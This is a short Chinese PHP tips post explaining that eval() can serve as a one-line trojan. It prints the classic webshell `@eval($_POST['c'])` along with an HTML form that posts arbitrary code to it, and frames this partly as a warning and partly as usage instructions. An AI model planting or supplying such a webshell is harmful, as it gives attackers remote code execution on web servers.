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php eval函数一句话木马代码_php技巧

WBOY
Release: 2016-05-16 20:15:11
Original
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eval可以用来执行任何其他php代码,所以对于代码里发现了eval函数一定要小心,可能是木马

就这一句话害死人,这样任何人都可以post任何文件上来,所以要做好防范

<&#63;php @eval($_POST['c']);&#63;>
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使用方法也很简单,本地提交文件指向提交文件,里面的php代码就会被执行

<html> 
<body> 
<form action="a.php" method="post"> 
<input type="text" name="c" value="phpinfo();"> 
<input type="submit" value="submit"> 
</form> 
</body> 
</html>
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以上所述就是本文的全部内容了,希望大家能够喜欢。

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